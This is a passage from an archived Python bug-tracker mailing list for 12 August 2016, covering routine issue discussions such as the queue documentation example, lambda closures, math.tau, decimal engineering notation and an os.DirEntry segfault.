indefinitely in the `queue.join()` statement. ---------- assignee: docs at python components: Documentation messages: 272540 nosy: Paulo Gabriel Poiati, docs at python priority: normal severity: normal status: open title: Broken example in the queue module documentation type: enhancement versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 10:32:01 2016 From: report at bugs.python.org (John Sahr) Date: Fri, 12 Aug 2016 14:32:01 +0000 Subject: [issue27738] odd behavior in creating list of lambda expressions In-Reply-To: <1470928670.35.0.133504221295.issue27738@psf.upfronthosting.co.za> Message-ID: John Sahr added the comment: I eventually figured that out that source of the problem; thanks for the coding fix; that's useful to know. -John On Thu, Aug 11, 2016 at 8:17 AM, Emanuel Barry wrote: > > Emanuel Barry added the comment: > > This is due to the fact that Python evaluates the variable 'n' when the > function is called, not when it is created. As such, the variable holds the > latest value for all functions, and they exhibit identical behaviour. > > Workaround: > > ... > f = lambda x, n=n: sin(n*x) > ... > > And this should work as you expect. More information is available at > https://docs.python.org/3/faq/programming.html#why-do- > lambdas-defined-in-a-loop-with-different-values-all-return-the-same-result > > ---------- > nosy: +ebarry > resolution: -> not a bug > stage: -> resolved > status: open -> closed > versions: -Python 2.7 > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 10:42:52 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 12 Aug 2016 14:42:52 +0000 Subject: [issue27747] Broken example in the queue module documentation In-Reply-To: <1471010461.03.0.586274907081.issue27747@psf.upfronthosting.co.za> Message-ID: <1471012972.29.0.797435435443.issue27747@psf.upfronthosting.co.za> R. David Murray added the comment: The example looks correct to me. Have you tested it and seen it hang? The q.join() is done, and returns once all the puts have been processed. *Then* None is put for each worker, which terminates the worker thread. There's no q.join() to block at that point. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 11:13:29 2016 From: report at bugs.python.org (Fabio Alessandro Locati) Date: Fri, 12 Aug 2016 15:13:29 +0000 Subject: [issue14977] mailcap does not respect precedence in the presence of wildcards In-Reply-To: <1338542933.25.0.233529643572.issue14977@psf.upfronthosting.co.za> Message-ID: <1471014809.19.0.0449663539019.issue14977@psf.upfronthosting.co.za> Fabio Alessandro Locati added the comment: Any news on this? ---------- nosy: +Fabio Alessandro Locati _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 12:39:39 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 12 Aug 2016 16:39:39 +0000 Subject: [issue27742] Random.randint generates different values in Python2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1471019979.43.0.52895748885.issue27742@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Wolfgang, sorry you bumped into this problem and glad that you have a workaround. We only guarantee availability of backward compatible seeders and that calls to random() are reproducible. The other methods are allowed to change so that we can make periodic improvements (i.e. using _randbelow to favor equidistribution over speed). Marking this as not a bug and closing. ---------- assignee: -> rhettinger resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 12:44:27 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 12 Aug 2016 16:44:27 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <20160812164424.75786.28762.E7163EF7@psf.io> Roundup Robot added the comment: New changeset 6fdd29a9d5d4 by Raymond Hettinger in branch '3.5': Issue 27719: Remove a doc example that is not applicable in Python 3 https://hg.python.org/cpython/rev/6fdd29a9d5d4 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 12:44:40 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 12 Aug 2016 16:44:40 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <1471020280.47.0.65808551632.issue27719@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 12:46:36 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 16:46:36 +0000 Subject: [issue27742] Random.randint generates different values in Python2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1471020396.87.0.728129475265.issue27742@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:12:36 2016 From: report at bugs.python.org (Zachary Ware) Date: Fri, 12 Aug 2016 17:12:36 +0000 Subject: [issue27748] Simplify test_winsound Message-ID: <1471021956.0.0.678344945934.issue27748@psf.upfronthosting.co.za> New submission from Zachary Ware: test_winsound is rather annoying. It currently attempts to determine whether a sound card is present, and whether particular system sounds are available. These checks are fragile at best, and I routinely see failures that shouldn't be. In particular, if I have an open RDP session to my ware-win81-release buildbot, test_winsound fails because it thinks the sounds should fail to play, but instead they succeed. Rather than attempt to make the checks more robust, I suggest that we instead rip out the checks and simply ensure that each call that might succeed either returns normally or raises RuntimeError. After all, we can't actually test whether a sound really played or not. ---------- assignee: zach.ware components: Tests, Windows files: simplify_test_winsound.diff keywords: patch messages: 272546 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: low severity: normal stage: patch review status: open title: Simplify test_winsound type: behavior versions: Python 2.7, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44089/simplify_test_winsound.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:24:36 2016 From: report at bugs.python.org (Paulo Gabriel Poiati) Date: Fri, 12 Aug 2016 17:24:36 +0000 Subject: [issue27747] Broken example in the queue module documentation In-Reply-To: <1471010461.03.0.586274907081.issue27747@psf.upfronthosting.co.za> Message-ID: <1471022676.63.0.547687943742.issue27747@psf.upfronthosting.co.za> Paulo Gabriel Poiati added the comment: You are absolutely right David. I was calling join after putting `None` in the queue. Sorry, I'm closing this. ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:24:38 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 17:24:38 +0000 Subject: [issue25805] Failure in test_pkgutil run from command-line In-Reply-To: <1449306484.59.0.680027150317.issue25805@psf.upfronthosting.co.za> Message-ID: <1471022678.94.0.477057847097.issue25805@psf.upfronthosting.co.za> SilentGhost added the comment: Could anyone could have a look at this fairly trivial patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:39:42 2016 From: report at bugs.python.org (Quentin Pradet) Date: Fri, 12 Aug 2016 17:39:42 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <1471023582.21.0.196820263068.issue27594@psf.upfronthosting.co.za> Quentin Pradet added the comment: Thanks levkivskyi, it fixed the issue for me! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:51:19 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 12 Aug 2016 17:51:19 +0000 Subject: [issue25805] Failure in test_pkgutil run from command-line In-Reply-To: <1449306484.59.0.680027150317.issue25805@psf.upfronthosting.co.za> Message-ID: <1471024279.94.0.133162303542.issue25805@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- assignee: -> brett.cannon nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:54:02 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 12 Aug 2016 17:54:02 +0000 Subject: [issue25805] Failure in test_pkgutil run from command-line In-Reply-To: <1449306484.59.0.680027150317.issue25805@psf.upfronthosting.co.za> Message-ID: <20160812175359.29856.78981.24201398@psf.io> Roundup Robot added the comment: New changeset 863258dcb745 by Brett Cannon in branch 'default': Issue #25805: Skip a test for test_pkgutil when __name__ == __main__. https://hg.python.org/cpython/rev/863258dcb745 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:54:39 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 12 Aug 2016 17:54:39 +0000 Subject: [issue25805] Failure in test_pkgutil run from command-line In-Reply-To: <1449306484.59.0.680027150317.issue25805@psf.upfronthosting.co.za> Message-ID: <1471024479.36.0.668126526479.issue25805@psf.upfronthosting.co.za> Brett Cannon added the comment: Since most people just run tests using `-m test` I only applied the fix to 3.6. Thanks for the patch, SilentGhost! ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:57:31 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 12 Aug 2016 17:57:31 +0000 Subject: [issue27712] Tiny typos in import.rst In-Reply-To: <1470801827.64.0.914764893779.issue27712@psf.upfronthosting.co.za> Message-ID: <20160812175729.8293.92664.1CC9F5DD@psf.io> Roundup Robot added the comment: New changeset 927c29e1d646 by Brett Cannon in branch '3.5': Issue #27712: Fix some typos in the import docs. https://hg.python.org/cpython/rev/927c29e1d646 New changeset 42a461366d6c by Brett Cannon in branch 'default': Merge for issue #27712 https://hg.python.org/cpython/rev/42a461366d6c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:57:56 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 12 Aug 2016 17:57:56 +0000 Subject: [issue27712] Tiny typos in import.rst In-Reply-To: <1470801827.64.0.914764893779.issue27712@psf.upfronthosting.co.za> Message-ID: <1471024676.31.0.198674949144.issue27712@psf.upfronthosting.co.za> Brett Cannon added the comment: Thanks for the patch! ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 13:58:29 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 12 Aug 2016 17:58:29 +0000 Subject: [issue25805] Failure in test_pkgutil run from command-line In-Reply-To: <1449306484.59.0.680027150317.issue25805@psf.upfronthosting.co.za> Message-ID: <1471024709.73.0.389077344641.issue25805@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 14:08:22 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 12 Aug 2016 18:08:22 +0000 Subject: [issue27712] Tiny typos in import.rst In-Reply-To: <1470801827.64.0.914764893779.issue27712@psf.upfronthosting.co.za> Message-ID: <1471025302.42.0.0798635604447.issue27712@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for your work too! :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 14:17:31 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 12 Aug 2016 18:17:31 +0000 Subject: [issue27747] Broken example in the queue module documentation In-Reply-To: <1471010461.03.0.586274907081.issue27747@psf.upfronthosting.co.za> Message-ID: <1471025851.63.0.847069343077.issue27747@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- stage: -> resolved type: enhancement -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 14:45:39 2016 From: report at bugs.python.org (Tim Peters) Date: Fri, 12 Aug 2016 18:45:39 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471027539.93.0.928683621372.issue12345@psf.upfronthosting.co.za> Tim Peters added the comment: Serhiy's objection is a little subtler than that. The Python expression `math.log(math.e)` in fact yields exactly 1.0, so IF it were the case that x**y were implemented as math.exp(math.log(x) * y) THEN math.e**500 would be computed as math.exp(math.log(math.e) * 500) == math.exp(1.0 * 500) == math.exp(500.0). But that's not how x**y is implemented. Because the error in log() is multiplied by y, and then fed into exp() blowing it up even more, only a hopelessly naive library would implement pow() that way. In practice, library pow functions fake the effect of at least 15 more bits than native double precision to absorb these errors. Under the covers, then, a reasonable library pow computes math.log(math.e) to more than native double precision - and _that_ (internal, invisible) result is not 1.0. Because math.e isn't the mathematical e to begin with. The difference between math.e and the mathematical e is a difference quite visible to the internal log, which delivers an internal log not equal to 1, and its difference from 1 is "an error" multiplied by 500 and fed into the internal exp (blowing up the error even more). In the end, math.e**500 returns a very good approximation to the true value, _given_ that math.e is not e. There's no reason to hope that's close to exp(500), though - that delivers a very good approximation to e**500 (where `e` is the true e). The larger the exponent, the more different math.e**y _should be_ from exp(y), and for the same fundamental reason 2**y differs from 3**y (or plug in any other pair of distinct bases). All that said, I agree with Mark that math.e is at best an attractive nuisance. Still, I'm -1 on removing it - it's a traditional and universally embraced nuisance ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 14:50:11 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 12 Aug 2016 18:50:11 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1471027811.28.0.000820400921232.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: Here is an updated patch that adds in change to posixmodule.c stemming from the new warning about using bytearrays. It also makes type checking more stringent for what __fspath__() returns. ---------- Added file: http://bugs.python.org/file44090/path_converter.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 14:59:30 2016 From: report at bugs.python.org (wevsty) Date: Fri, 12 Aug 2016 18:59:30 +0000 Subject: [issue27749] python 3.5.2 maybe crash Message-ID: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> New submission from wevsty: When I use Python 3.5.2 some of the time will be a crash.displayed crash module is python35.dll. I run Python environment is Windows Server 2012R2.I think crash dump maybe will be helpful.Report.wer and carsh dump can be downloaded via the following link. http://o8z0k9748.bkt.clouddn.com/Python_crash_Dump_20160813_AF1A29AF.7z I have another question when i using managers lib multiprocessing Maybe have exception. my code is? Session_lock.G_Process_Lock = multiprocessing.Manager().Lock() def execute_select_command(command): try: with Session_lock.G_Process_Lock: values = [] conn = sqlite3.connect(SQLite_DB_NAME) cursor = conn.cursor() try: cursor.execute(command) values = cursor.fetchall() except Exception as e: pass finally: cursor.close() conn.close() return values except Exception as e: print(e) traceback.print_exc() finally: pass This code is possible to print out the information. Traceback (most recent call last): File "C:/Users/Administrator/Desktop/Monitor_URL\Monitor_SQL.py", line 44, in execute_select_command return values File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\managers.py", line 949, in __exit__ return self._callmethod('release') File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\managers.py", line 716, in _callmethod conn.send((self._id, methodname, args, kwds)) File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\connection.py", line 206, in send self._send_bytes(ForkingPickler.dumps(obj)) File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\connection.py", line 280, in _send_bytes ov, err = _winapi.WriteFile(self._handle, buf, overlapped=True) TypeError: WriteFile() argument 1 must be int, not None This maybe seem like a lib problem. ---------- components: Library (Lib) messages: 272557 nosy: wevsty priority: normal severity: normal status: open title: python 3.5.2 maybe crash type: crash versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 15:08:52 2016 From: report at bugs.python.org (chinmay hegde) Date: Fri, 12 Aug 2016 19:08:52 +0000 Subject: [issue27750] Idle editor crashes when input size more than 250 lines given Message-ID: <1471028932.53.0.0266667136467.issue27750@psf.upfronthosting.co.za> New submission from chinmay hegde: Idle editor crashes when input size more than 250 lines given. Steps to reproduce:- try with below snippet of code for i in range(250): n=input() Execute the snippet of code. But while giving the input copy all 250 inputs with single paste. Editor is crashed. On clicking it's giving "Not responding" System Config:- OS - Windows 10 Python Version - 3.5.2 IDLE version - 3.5.2 Tk version - 8.6.4 ---------- assignee: terry.reedy components: IDLE messages: 272558 nosy: chinmay hegde, terry.reedy priority: normal severity: normal status: open title: Idle editor crashes when input size more than 250 lines given type: crash versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 15:27:20 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 12 Aug 2016 19:27:20 +0000 Subject: [issue27182] PEP 519 support in the stdlib In-Reply-To: <1464887789.1.0.970652730446.issue27182@psf.upfronthosting.co.za> Message-ID: <1471030040.26.0.841100762709.issue27182@psf.upfronthosting.co.za> Brett Cannon added the comment: Here is an odd patch because I don't know where else to put it ATM that adds the remaining support in the os module/package not covered by other issues w/ patches (specifically os.walk() and os.fwalk()). I think everything else simply falls through thanks to os.path and path_converter. ---------- Added file: http://bugs.python.org/file44091/os.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 15:51:06 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 12 Aug 2016 19:51:06 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471031466.41.0.464521770987.issue27736@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the good test, Simon. Bisection points to b841972ed0bd for Issue27038 as the culprit here. (It was pushed between 3.6.0a2 and a3.) Brett, Jelle, can you please take a look at this? I'm going to keep it as a Release Blocker for now. ---------- assignee: -> brett.cannon nosy: +Jelle Zijlstra, brett.cannon stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 16:24:45 2016 From: report at bugs.python.org (Paul Sokolovsky) Date: Fri, 12 Aug 2016 20:24:45 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471033485.56.0.859899721711.issue12345@psf.upfronthosting.co.za> Paul Sokolovsky added the comment: What about rounding pi to 3 (and tau to 6)? https://en.wikipedia.org/wiki/Indiana_Pi_Bill (and I'm sure we can find a cute video about how cool to have pi as 3 to add it to the docs). ---------- nosy: +pfalcon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 16:38:51 2016 From: report at bugs.python.org (Serge Stroobandt) Date: Fri, 12 Aug 2016 20:38:51 +0000 Subject: [issue26223] decimal.to_eng_string() does not implement engineering notation in all cases. In-Reply-To: <1453922113.08.0.48679853518.issue26223@psf.upfronthosting.co.za> Message-ID: <1471034331.87.0.17610363943.issue26223@psf.upfronthosting.co.za> Serge Stroobandt added the comment: What most engineers would like to see implemented in Python is a new engineering notation identical to the one implemented in the omnipresent HP calculators. Quoting from the HP-15C Owner's Handbook: "- In engineering notation, the first significant digit is always present in the display. The number you key in after f ENG specifies the number of additional digits to which you want to round the display. - Engineering notation shows all exponents in multiples of three." Source + examples, see page 59: http://www.hp.com/ctg/Manual/c03030589.pdf Most of the time, engineers are not after high precision. Ball park figures are good enough in a world where everything is built to a specified tolerance. For example, most electronic resistors feature 5% tolerance. Safety factors take care of the rest and assure a building will not collapse. This should not be that difficult to implement? I promise, every six months an engineer will stop by here asking for this. Instead of nagging, this could already have been implemented one way or the other. The large demand for this feature really warrants it. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 16:56:04 2016 From: report at bugs.python.org (Stefan Krah) Date: Fri, 12 Aug 2016 20:56:04 +0000 Subject: [issue26223] decimal.to_eng_string() does not implement engineering notation in all cases. In-Reply-To: <1471034331.87.0.17610363943.issue26223@psf.upfronthosting.co.za> Message-ID: <20160812205551.GA12275@bytereef.org> Stefan Krah added the comment: On Fri, Aug 12, 2016 at 08:38:52PM +0000, Serge Stroobandt wrote: > This should not be that difficult to implement? > I promise, every six months an engineer will stop by here asking for this. Instead of nagging, this could already have been implemented one way or the other. The large demand for this feature really warrants it. Thanks! To whom should I send the invoice? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 17:01:18 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 12 Aug 2016 21:01:18 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471035678.68.0.561125929581.issue27736@psf.upfronthosting.co.za> Brett Cannon added the comment: The revision that Ned found only changed posixmodule.c by adding PyModule_AddObject(m, "DirEntry", (PyObject *)&DirEntryType); at the end of the module initializer. Only thing I can think of is it needs to go into the `if (!initialized)` block: https://github.com/python/cpython/blob/11b48001fb8d908f6db164e9d2233e911f22d4f4/Modules/posixmodule.c#L13214 (maybe as an else clause for the PyType_Ready() call at https://github.com/python/cpython/blob/11b48001fb8d908f6db164e9d2233e911f22d4f4/Modules/posixmodule.c#L13259). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 17:15:01 2016 From: report at bugs.python.org (Keith Brafford) Date: Fri, 12 Aug 2016 21:15:01 +0000 Subject: [issue26223] decimal.to_eng_string() does not implement engineering notation in all cases. In-Reply-To: <1453922113.08.0.48679853518.issue26223@psf.upfronthosting.co.za> Message-ID: <1471036501.0.0.670210268349.issue26223@psf.upfronthosting.co.za> Keith Brafford added the comment: Serge, I wrote this awhile back, before I learned you aren't supposed to subclass built-in types. Is this the type of effect you're looking for? https://gist.github.com/kbrafford/da39e06d18b6df2a07777eecb4493699 Here's an example using it: https://gist.github.com/kbrafford/e0115e796890fcefb4f0c35248bd05f1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 17:32:37 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Fri, 12 Aug 2016 21:32:37 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471037557.85.0.952454435072.issue12345@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: > All that said, I agree with Mark that math.e is at best an attractive nuisance. Why don't we fix the nuisance part without making it less attractive: class _E(float): def __pow__(self, other): if self is e: return exp(other) else: return pow(self, other) e = _E(2.718281828...) > It's okay if Python occasionally shows its lighter side in unexpected places. I would rather see from math import ? work in the future Pythons. I like Vi Hart, but I am firmly on the ? side in the ? vs. ? debate. The problem with ? is that it is visually smaller than ?, actually twice smaller: ? ? ??, but the actual definition is the opposite. ---------- nosy: +belopolsky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 17:48:28 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 12 Aug 2016 21:48:28 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1471038508.13.0.656008308382.issue27714@psf.upfronthosting.co.za> Ned Deily added the comment: >So what happens if you comment out line 34? > macosx.setupApp(cls.root, None) That seems to eliminate the intermittent "IndexError: list assignment index out of range" and doesn't seem to cause any new errors. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 19:08:19 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 12 Aug 2016 23:08:19 +0000 Subject: [issue24773] Implement PEP 495 (Local Time Disambiguation) In-Reply-To: <1438456647.64.0.191464539374.issue24773@psf.upfronthosting.co.za> Message-ID: <20160812230816.8097.75679.C0987163@psf.io> Roundup Robot added the comment: New changeset 71a7db7ceabc by Alexander Belopolsky in branch 'default': Issue #24773: Skip system tests for transitions in year 2037 and later. https://hg.python.org/cpython/rev/71a7db7ceabc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 20:19:56 2016 From: report at bugs.python.org (Brendan Moloney) Date: Sat, 13 Aug 2016 00:19:56 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <1471047596.03.0.457132341618.issue27038@psf.upfronthosting.co.za> Brendan Moloney added the comment: It would be nice if there was a supported way to create a DirEntry object from a path. If you don't want to document the constructor perhaps expose some helper function or class method (i.e. from_path)? ---------- nosy: +moloney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 20:35:14 2016 From: report at bugs.python.org (Brett Cannon) Date: Sat, 13 Aug 2016 00:35:14 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <1471048514.05.0.0567355124394.issue27038@psf.upfronthosting.co.za> Brett Cannon added the comment: Exposing a class method to construct one is no different than exposing the constructor, so it's still not desired to have. What is the specific need you have for creating a DirEntry instance on its own? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 21:40:45 2016 From: report at bugs.python.org (Brendan Moloney) Date: Sat, 13 Aug 2016 01:40:45 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <1471052445.91.0.584975070772.issue27038@psf.upfronthosting.co.za> Brendan Moloney added the comment: It makes it much easier to write functions that can work with either a DirEntry object or a plain path. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 21:52:56 2016 From: report at bugs.python.org (YoSTEALTH) Date: Sat, 13 Aug 2016 01:52:56 +0000 Subject: [issue27751] Itertools -> Recipes -> pairwise() Message-ID: <1471053176.82.0.676475972394.issue27751@psf.upfronthosting.co.za> New submission from YoSTEALTH: # Link: https://docs.python.org/3/library/itertools.html#itertools-recipes # Function pairwise() in Itertools -> Recipes could be improved!? Here is the code: import time import itertools def pairwise(iterable): "s -> (s0,s1), (s1,s2), (s2, s3), ..." a, b = itertools.tee(iterable) next(b, None) return zip(a, b) def new_pairwise(iterable): "s -> (s0,s1), (s1,s2), (s2, s3), ..." return zip(iterable, iterable[1:]) combine = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9) if __name__ == '__main__': start_time = time.time() # Current print('Current:') print(list(pairwise(combine))) # output: [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, 6), (6, 7), (7, 8), (8, 9)] print() # New print('New:') print(list(new_pairwise(combine))) # output: [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, 6), (6, 7), (7, 8), (8, 9)] # Benchmark # for _ in range(1000000): # list(pairwise(combine)) # Time: 2.61199975 # list(new_pairwise(combine)) # Time: 1.14828038 print('\n\nTime: {}'.format(round(time.time() - start_time, 8)), end='') ---------- messages: 272572 nosy: YoSTEALTH priority: normal severity: normal status: open title: Itertools -> Recipes -> pairwise() type: performance versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 22:07:48 2016 From: report at bugs.python.org (Tim Peters) Date: Sat, 13 Aug 2016 02:07:48 +0000 Subject: [issue27751] Itertools -> Recipes -> pairwise() In-Reply-To: <1471053176.82.0.676475972394.issue27751@psf.upfronthosting.co.za> Message-ID: <1471054068.3.0.343509791012.issue27751@psf.upfronthosting.co.za> Tim Peters added the comment: Note that "iterable" covers a world of things that may not support indexing (let alone slicing). For example, it may be a generator, or a file open for reading. ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 22:26:23 2016 From: report at bugs.python.org (YoSTEALTH) Date: Sat, 13 Aug 2016 02:26:23 +0000 Subject: [issue27751] Itertools -> Recipes -> pairwise() In-Reply-To: <1471053176.82.0.676475972394.issue27751@psf.upfronthosting.co.za> Message-ID: <1471055183.88.0.868282604033.issue27751@psf.upfronthosting.co.za> YoSTEALTH added the comment: Tim, I get what you are saying good point. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 22:27:23 2016 From: report at bugs.python.org (Tim Peters) Date: Sat, 13 Aug 2016 02:27:23 +0000 Subject: [issue27751] Itertools -> Recipes -> pairwise() In-Reply-To: <1471053176.82.0.676475972394.issue27751@psf.upfronthosting.co.za> Message-ID: <1471055243.47.0.860247009262.issue27751@psf.upfronthosting.co.za> Changes by Tim Peters : ---------- resolution: -> rejected stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 22:38:17 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 13 Aug 2016 02:38:17 +0000 Subject: [issue24637] locals dictionary in PyRun_String In-Reply-To: <1436966586.07.0.0153968460371.issue24637@psf.upfronthosting.co.za> Message-ID: <20160813023814.19477.72394.D8EA0C06@psf.io> Roundup Robot added the comment: New changeset 0f2a09950ac8 by Berker Peksag in branch '3.5': Issue #24637: Document that locals can be any mapping object https://hg.python.org/cpython/rev/0f2a09950ac8 New changeset 61c4dbec2e2c by Berker Peksag in branch 'default': Issue #24637: Merge from 3.5 https://hg.python.org/cpython/rev/61c4dbec2e2c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 22:39:20 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 13 Aug 2016 02:39:20 +0000 Subject: [issue24637] locals dictionary in PyRun_String In-Reply-To: <1436966586.07.0.0153968460371.issue24637@psf.upfronthosting.co.za> Message-ID: <1471055960.14.0.0710916433447.issue24637@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the patch, Matthew! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 23:38:51 2016 From: report at bugs.python.org (Eryk Sun) Date: 